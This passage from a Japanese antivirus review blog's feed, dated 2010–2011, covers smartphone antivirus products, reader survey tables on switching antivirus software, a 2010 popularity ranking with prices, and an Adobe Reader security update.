Softbank
  • GALAPAGOS (003SH)

アンドロイドOS搭載のスマートフォンへの対応を予定しています。

アップルストアよりも自由な環境にあるアンドロイド端末のアプリダウンロード環境の場合PCのようにウイルス侵入の段階から注意が必要なのかもしれません。

マルウェアからの保護

カスペルスキーモバイルセキュリティ 9には、アンドロイド端末のプロテクションに 必要なあらゆる機能があります。マルウェアからのリアルタイム保護、手動／自動スキャン、 定義データベースの自動更新など、 あらかじめ設定されたセキュリティレベルに応じてあなたのアンドロイド端末を さまざまな脅威から保護します。

最新で高機能なものはノートンモバイルセキュリティです。

最後に

どちらにせよiPhoneを含むスマートフォンは端末そのものがパソコンほど処理能力を持っていないのでバックグラウンドでウイルス対策ソフトなんかが動いているものなら、今以上に動作がモッサリする機種も増えるんでしょうね。

仮にiPhoneやスマートフォンにウイルス感染してもその端末から個人情報を抜いたりだとか内部破壊するのではなくて普段接続するPCに侵入するタイプの方が考えられやすいのでパソコンのウイルス対策自体は手抜きしないようにしておきたいところです。

USB接続から感染するウイルスも有名です。

USBメモリーからウイルス感染　原因はautorun.inf

]]> ウィルス対策ソフト更新時の悩み〜これから乗り換えたいアンケート集計結果 tag:30tx.com,2011://1.106 2011-03-22T04:42:07Z 2011-03-22T05:19:23Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 ２００９年１月から集計してきたウィルス対策ソフトの乗り換え時に、今使っているソフトから別のソフトへ乗り換えるなら？というアンケートを実施してきましたが、２年経過したので一部抜粋で集計結果を記載しておきます。

無料ソフトの更新をせずに有料版への乗り換えをする人は非常に少ない印象。

＊　表がガタガタで申し訳ございません。スプレッドシートのページをご参考にしていただければ幸いです。

 


性別 現在使っているウイルス対策ソフトは何ですか これから使ってみたいウイルス対策ソフトは ウイルス検知力が高いものがいい 低価格なものがいい 迷惑メール機能がついているほうがいい 軽い（PCが重くならない）ものがいい
男性 ノートン ウイルスバスター はい どちらでもない いいえ どちらでもない
女性 ノートン イーセットスマートセキュリティ はい はい はい はい
男性 ウイルスバスター ウイルスバスター はい はい どちらでもない はい
男性 ノートン ウイルスセキュリティゼロ はい はい はい はい
男性 Avast! KINGソフト はい はい どちらでもない はい
男性 KINGソフト イーセットスマートセキュリティ はい はい はい はい
女性 マカフィー ウイルスバスター どちらでもない はい どちらでもない どちらでもない
男性 ウイルスセキュリティゼロ ウイルスバスター はい はい はい はい
男性 無料 Avast! はい 無料 どちらでもない どちらでもない
男性 Avast! G-DATA はい どちらでもない どちらでもない はい
男性 KINGソフト カスペルスキー はい はい はい はい
男性 ウイルスバスター NOD32 はい どちらでもない どちらでもない はい
女性 イーセットスマートセキュリティ イーセットスマートセキュリティ はい はい いいえ はい
男性 G-DATA G-DATA はい はい はい はい
男性 ウイルスバスター G-DATA はい はい はい はい
男性 カスペルスキー NOD32 はい どちらでもない はい はい
男性 カスペルスキー イーセットスマートセキュリティ はい はい はい はい
男性 ノートン イーセットスマートセキュリティ はい はい はい はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい どちらでもない はい
             
男性 ウイルスバスター イーセットスマートセキュリティ はい はい どちらでもない はい
男性 ウイルスバスター NOD32 はい はい はい はい
男性 NOD32 イーセットスマートセキュリティ はい はい どちらでもない はい
男性 Avast! ウイルスバスター はい はい いいえ はい
男性 ウイルスセキュリティゼロ ウイルスバスター はい はい はい はい
男性 カスペルスキー カスペルスキー はい はい どちらでもない はい
女性 Avast! Avast! はい はい いいえ はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい はい はい
男性 Avast! ノートン はい はい いいえ はい
男性 Avast! ノートン はい はい いいえ はい
男性 ウイルスバスター NOD32 はい どちらでもない はい はい
男性 ウイルスバスター ウイルスバスター はい はい いいえ はい
男性 イーセットスマートセキュリティ イーセットスマートセキュリティ はい どちらでもない はい はい
男性 G-DATA G-DATA はい はい はい はい
男性 NOD32 NOD32 はい いいえ いいえ はい
女性 ノートン イーセットスマートセキュリティ はい はい はい はい
男性 イーセットスマートセキュリティ マカフィー はい はい はい はい
男性 イーセットスマートセキュリティ イーセットスマートセキュリティ はい どちらでもない どちらでもない はい
女性 Avast! イーセットスマートセキュリティ はい はい はい はい
男性 マカフィー マカフィー はい どちらでもない いいえ はい
             
男性 マカフィー NOD32 はい いいえ はい はい
男性 KINGソフト KINGソフト はい はい はい はい
男性 Avast! ノートン はい はい どちらでもない はい
男性 Avast! ノートン はい はい どちらでもない はい
男性 カスペルスキー エフセキュア はい いいえ はい はい
男性 イーセットスマートセキュリティ カスペルスキー はい いいえ はい はい
男性 bitdefender Avira AntiVir はい どちらでもない どちらでもない はい
男性 マカフィー ノートン はい はい はい はい
男性 free soft NOD32 はい はい どちらでもない はい
男性 ウイルスバスター G-DATA はい どちらでもない いいえ はい
男性 マカフィー イーセットスマートセキュリティ はい どちらでもない はい はい
男性 ウイルスセキュリティゼロ カスペルスキー はい どちらでもない はい はい
男性 イーセットスマートセキュリティ イーセットスマートセキュリティ はい 機能、性能が良ければ多少高くても買う。あまり高いのは嫌であるけど はい はい
男性 マカフィー Avast! はい はい いいえ はい
男性 V3 イーセットスマートセキュリティ はい はい どちらでもない はい
男性 ウイルスブロック ウイルスブロック はい はい はい はい
男性 KINGソフト Avast! はい はい はい はい
男性 ウイルスバスター カスペルスキー はい はい どちらでもない はい
男性 ノートン イーセットスマートセキュリティ はい はい はい はい
男性 エフセキュア エフセキュア はい はい はい はい
             
男性 カスペルスキー カスペルスキー はい いいえ はい どちらでもない
男性 マカフィー KINGソフト はい はい どちらでもない どちらでもない
男性 avira Avast! はい はい いいえ はい
男性 Avast! ウイルスセキュリティゼロ はい はい はい はい
女性 Avast! イーセットスマートセキュリティ はい はい はい はい
男性 ウイルスバスター ノートン どちらでもない どちらでもない いいえ どちらでもない
男性 ノートン ノートン はい はい はい はい
女性 G-DATA イーセットスマートセキュリティ はい はい はい はい
女性 ノートン ウイルスバスター はい はい どちらでもない はい
男性 ウイルスバスター マカフィー はい どちらでもない はい どちらでもない
男性 カスペルスキー イーセットスマートセキュリティ はい どちらでもない はい はい
女性 何も使っていない ウイルスバスター はい はい はい はい
女性 ウイルスバスター マカフィー はい はい はい はい
女性 ノートン ノートン はい どちらでもない はい はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい はい はい
男性 カスペルスキー NOD32 はい はい はい はい
女性 カスペルスキー イーセットスマートセキュリティ はい はい どちらでもない はい
男性 ノートン カスペルスキー はい どちらでもない はい はい
男性 KINGソフト マカフィー はい はい はい はい
男性 NOD32 イーセットスマートセキュリティ はい はい どちらでもない はい
             
男性 ウイルスセキュリティゼロ カスペルスキー はい どちらでもない いいえ どちらでもない
男性 ウイルスバスター ウイルスセキュリティゼロ はい はい どちらでもない はい
男性 ウイルスバスター ノートン どちらでもない はい いいえ はい
男性 ウイルスバスター マカフィー はい はい いいえ はい
男性 G-DATA エフセキュア はい はい いいえ はい
男性 AVG Avast! はい はい はい はい
男性 ウイルスバスター イーセットスマートセキュリティ はい どちらでもない どちらでもない はい
男性 ウイルスバスター カスペルスキー はい はい いいえ はい

ウイルスバスターやノートン、そして無料ウィルス対策のAvastの既存利用者が非常に多いようで試しに別ソフトを使ってみようという方も多いのではないでしょうか。

 

無料ウィルス対策Avast!からの乗り換え傾向

性別 現在使っているウイルス対策ソフトは何ですか これから使ってみたいウイルス対策ソフトは ウイルス検知力が高いものがいい 低価格なものがいい 迷惑メール機能がついているほうがいい 軽い（PCが重くならない）ものがいい
男性 Avast! KINGソフト はい はい どちらでもない はい
男性 Avast! G-DATA はい どちらでもない どちらでもない はい
男性 Avast! ウイルスバスター はい はい いいえ はい
女性 Avast! Avast! はい はい いいえ はい
男性 Avast! ノートン はい はい いいえ はい
男性 Avast! ノートン はい はい いいえ はい
女性 Avast! イーセットスマートセキュリティ はい はい はい はい
男性 Avast! ノートン はい はい どちらでもない はい
男性 Avast! ノートン はい はい どちらでもない はい
男性 Avast! ウイルスセキュリティゼロ はい はい はい はい
女性 Avast! イーセットスマートセキュリティ はい はい はい はい

 

人気のウイルスバスターからの乗り変え傾向

性別 現在使っているウイルス対策ソフトは何ですか これから使ってみたいウイルス対策ソフトは ウイルス検知力が高いものがいい 低価格なものがいい 迷惑メール機能がついているほうがいい 軽い（PCが重くならない）ものがいい
男性 ウイルスバスター ウイルスバスター はい はい どちらでもない はい
男性 ウイルスバスター NOD32 はい どちらでもない どちらでもない はい
男性 ウイルスバスター G-DATA はい はい はい はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい どちらでもない はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい どちらでもない はい
男性 ウイルスバスター NOD32 はい はい はい はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい はい はい
男性 ウイルスバスター NOD32 はい どちらでもない はい はい
男性 ウイルスバスター ウイルスバスター はい はい いいえ はい
男性 ウイルスバスター G-DATA はい どちらでもない いいえ はい
男性 ウイルスバスター カスペルスキー はい はい どちらでもない はい
男性 ウイルスバスター ノートン どちらでもない どちらでもない いいえ どちらでもない
男性 ウイルスバスター マカフィー はい どちらでもない はい どちらでもない
女性 ウイルスバスター マカフィー はい はい はい はい
男性 ウイルスバスター イーセットスマートセキュリティ はい はい はい はい
男性 ウイルスバスター ウイルスセキュリティゼロ はい はい どちらでもない はい
男性 ウイルスバスター ノートン どちらでもない はい いいえ はい
男性 ウイルスバスター マカフィー はい はい いいえ はい
男性 ウイルスバスター イーセットスマートセキュリティ はい どちらでもない どちらでもない はい
男性 ウイルスバスター カスペルスキー はい はい いいえ はい

 

 

集計閣下について：ウィルス対策ソフト利用者で当サイト訪問者にょるアンケート結果

集計結果については引用いただいて結構ですが引用元としてリンクの無いものは認めません。

]]> ウィルス対策ソフト2010年人気ランキング総括 tag:30tx.com,2011://1.105 2011-01-12T07:32:01Z 2011-01-12T07:41:24Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 当サイト掲載のウィルス対策ソフトによるダウンロード人気ランキング2010年の総括。

やはり軽さ重視をイメージした製品が多かった1年だったため堂々2年連続1位はEset Smart Securityだった。

ランキング1位　ESETスマートセキュリティ
V4.0軽さと総合力ウィルス対策＆アンチスパム

 http://30tx.com/contents/eset.html

 



軽さ ☆☆☆
検知 ☆☆☆
操作 ☆☆
名称
メーカー		 ESETイーセットスマートセキュリティV4.0
キャノンITソリューション
価格 1ライセンス　1年　4200円
ウイルス
対策機能		 トロイの木馬、ボット対策、ファイアウォール、定義ファイル自動アップデート他
特徴 NOD３２をウイルス検索エンジンとして迷惑メール対策やネットワーク管理機能などを装備した総合セキュリティソフト。アドバンスドヒューリスティックエンジン搭載。WEB閲覧制限機能がないためインターネットは軽快そのもの。とにかくすべての動作が軽い。
製品詳細

 

ランキング2位　NOD３２アンチウィルス
V4.0 ESET　ヒューリスティックエンジン搭載

 



軽さ ☆☆☆
検知 ☆☆☆
操作 ☆☆
名称
メーカー		 NOD３２アンチウイルス v4.0
キャノンITソリューション
価格 1ライセンス　1年　3360円
ウイルス
対策機能		 トロイの木馬、ボット対策、定義ファイル自動アップデート他
特徴 ウイルス検知率が非常に高い。アドバンスドヒューリスティックエンジンを搭載しているため既知のウイルスだけでなく未知のウイルス検知力も非常に高い。それゆえ企業や官公庁に多く導入される。何よりもPCの動作が軽快であることにおいてはナンバー１である。
http://30tx.com/contents/nod32.html

製品詳細

 

ランキング3位　ウイルスバスター
人気不動のウィルス対策ソフト

 



軽さ ☆☆
検知 ☆☆
操作 ☆☆☆
名称
メーカー		 ウイルスバスター
トレンドマイクロ
価格 3台ライセンス　1年　4980円
ウイルス
対策機能		 トロイの木馬、ボット対策、ファイアウォール、無線LANパトロール他
特徴 総合セキュリティソフトの代名詞。人気の理由は、取り扱いにおける簡易性が高いこと。動作も年々改良され軽快になっているが、さまざまな便利安心機能を上乗せしていることもあり若干、起動時などに重く感じることもある。メインPC向けセキュリティソフトです。
http://30tx.com/contents/vb-cdrom.html

製品詳細

 

ランキング4位　ノートン　インターネットセキュリティ
好評シェア最大級のウィルス対策ソフト

 



軽さ ☆
検知 ☆☆☆
操作 ☆☆☆
名称
メーカー		 シマンテック　ノートンインターネットセキュリティ
価格 3台ライセンス　1年　5,460円
ウイルス
対策機能		 トロイの木馬、ボット対策、PCチューンWEB閲覧制限機能他
特徴 ウイルス検知率が非常に高く、外部侵入の段階でウイルスや不正をシャットアウトするためメインPC向きの高性能セキュリティソフトといえる。2009年より軽快な動作になったように感じる。
http://30tx.com/contents/norton.html

製品詳細

 

ランキング5位　マカフィーセキュリティソフト
高性能アンチウィルスソフトの代名詞。

 



軽さ ☆
検知 ☆☆☆
操作 ☆
名称
メーカー		 マカフィ
　インターネットセキュリティ
価格 3台ライセンス　1年　5775円
ウイルス
対策機能		 トロイの木馬、ボット対策、定義ファイル自動アップデート他
特徴 ウイルス検知率が非常に高い。動作は重いがウイルス定義ファイルの更新は非常に早く、未知の危険への対応力も業界トップレベル。実績のあるセキュリティソフト。
http://30tx.com/contents/macafee-cd-rom.html

製品詳細

 

人気ランキングでは1年を通してEsetSmartSecurityが1位を堅守しました。

個人的には無料のウイルス対策ソフトに一部の古いPCで乗り換えした件数が多かった1年です。

しかし、なぜか無料のウイルス対策ソフトをインストールしたパソコンが2台ブルースクリーンになるなど復旧不可能なダメージを追ってしまった。

やはり使い慣れて安心のセキュリティ性能を誇るEsetをもう少しライセンス購入しておくしかないのかな。（おさいふに厳しいですが…）

2010年はウイルスバスターも好評で非常に性能が評価された1年だったようです。

さて大手3ソフトのノートンは2011年に人気復活するのでしょうか。

Eset ウイルスバスター ノートンは今や日本国内のメジャーウイルス対策ソフトです。

メインPCにはこれら3本から選ぶのが一番安心でサポートも充実といったところでしょうね。

]]> Adobe、ReaderとAcrobatの脆弱性を突いた攻撃が横行 tag:30tx.com,2010://1.104 2010-10-06T09:03:11Z 2010-10-06T09:10:05Z PDF閲覧で普段から知らないうちに使っていることが多いアドビのアクロバットリーダー。 10月12日にアップデートを予定していましたが、既存の脆弱性を狙った攻撃が横行しているため予定を早めてアップデートが「行われた様子（米国）。 米Adobe Systemsは10月5日（現地時間）、予告通りにReaderとAcrobatのセキュリティアップデートを公開した。深刻な脆弱性の存在が事前に発覚したことを受けて、12日に予定していた四半期アップデートを繰り上げて対処した。　同社によると... アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 PDF閲覧で普段から知らないうちに使っていることが多いアドビのアクロバットリーダー。

10月12日にアップデートを予定していましたが、既存の脆弱性を狙った攻撃が横行しているため予定を早めてアップデートが「行われた様子（米国）。

米Adobe Systemsは10月5日（現地時間）、予告通りにReaderとAcrobatのセキュリティアップデートを公開した。深刻な脆弱性の存在が事前に発覚したことを受けて、12日に予定していた四半期アップデートを繰り上げて対処した。

　同社によると、脆弱性が存在するのはReader／Acrobatの9.3.4と8.2.4までのバージョン。Windows、Macintosh、UNIXの各OSが影響を受ける。更新版となるReader／Acrobat 9.4と8.2.5では、合計23件の脆弱性を解決。大部分が攻撃者にシステムを制御される恐れのある深刻な脆弱性となっている

http://headlines.yahoo.co.jp/hl?a=20101006-00000053-zdn_ep-secu

更新のタイミングがあれば急いで更新をしておきたいアップデートです。

pdf閲覧ソフトの弱点を狙ってウイルス感染させる手口が横行しているためOSや関連ソフトを最新に保ちウイルス対策ソフトをインストールしたうえで、こちらも定義ファイルを更新し続けておくことが端末上で行える対策です。

]]>